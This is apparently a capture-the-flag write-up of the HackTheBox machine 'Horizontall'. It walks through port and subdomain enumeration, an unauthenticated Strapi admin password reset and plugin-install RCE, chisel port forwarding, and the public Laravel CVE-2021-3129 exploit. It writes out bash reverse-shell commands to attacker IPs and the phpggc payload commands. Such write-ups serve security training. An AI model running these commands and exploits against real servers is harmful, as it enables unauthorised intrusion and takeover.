As always we start with nmap to discover open ports
Nmap Scan
nmap -sC -sV -oA horizontall 10.10.11.105
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-03 13:33 EET
Nmap scan report for 10.10.11.105
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap Shows two open ports, ssh on port 22 and http on port 80, and we also get redirect to horizontall.htb so we need to add it to /etc/hosts.
After we add horisontall.htb to our hosts file lets enumerate port 80
HTTP Enumeration
It’s a static website, we can run a directory bruteforcer to discover hidden directories and also a subdomain bruteforcer as we have a domain name.
gobuster vhost -u http://horizontall.htb/ -w /opt/Seclist/Discovery/DNS/subdomains-top1million-110000.txt -t 100
I Couldn’t find any hidden directories but i found api-prod.horizontall.htb subdomain, so lets add it to the hosts file and visit it.
Now lets run a directory bruteforcer on this subdomain amybe we can find any usefull hidden directory.
gobuster dir -u http://api-prod.horizontall.htb/ -w /opt/Seclist/Discovery/Web-Content/raft-medium-words.txt -t 100
There is /admin which redirects us to /admin/auth/login.
And /users and /reviews but there’s nothing usefull there. I also ran gobuster on each of the three directories and found init on /admin which leaks the CMS version (strapi 3.0.0-beta.17.4).
Doing a one second research i found Unauthenticated RCE for this version.
We could run the python script and get RCE easily but lets better read the script and do it manually.
Initial Foothold / User
First, the script has check_version function which gets the strapi version the same way as we got it.
Reset The Admin Password
Next, we need to reset the admin password by sending a POST request to /admin/auth/reset-password in JSON format with "code" : {"$gt":0}
thing which i think it's related to the admin user. Then lets copy the JWT token from the response.
Code Execution
After we have the JWT token we need to send a POST request to /admin/plugins/install with Authorization: Bearer JWT header.
And we received a ping successfully.
now lets replace the ping with a reverse shell.
bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'
And we are on the box as strapi user!
Getting Root
While enumerating the box i found port 8000 and 3306 are open locally.
We don’t have any credentials to try port 3306, so lets focus on port 8000. This port is reachable locally only, so we need to use port forwarding to forward the traffic from a port on our machine to port 8000 on the box. We will use chisel to do the job.
First we will download the tool on our machine and on the on the victim machine too.
On the victim machine
./chisel server -p 9001
On the attacker machine
./chisel client http://10.10.11.105:9001 127.0.0.1:1337:127.0.0.1:8000
That means it will open port 1337 on our machine and forward any traffic coming to 1337 to port 8000 on the victim machine.
Next we launch our browser and visit http://localhost:1337/ , and we get laravel default page and its version is 8.x.
By doing some research i found this repository on github.
Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021–3129) https://github.com/ambionics/laravel-exploits More details: https://www.ambionics.io/blog/laravel-debug-rce
Lets try this exploit but first we need to have phpggc on our machine, so lets download it.
git clone https://github.com/ambionics/phpggc.git
Now lets try the POC that executes id command on the box.
php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
python3 laravel-ignition-rce.py http://localhost:1337/ /tmp/exploit.phar
The command got executed successfully, lets replace it with a reverse shell.
php -d'phar.readonly=0' phpggc/phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'bash -c "bash -i >& /dev/tcp/10.10.16.30/9001 0>&1"''
python3 laravel-ignition-rce.py http://localhost:1337/ /tmp/exploit.phar
And we are ROOT on the box!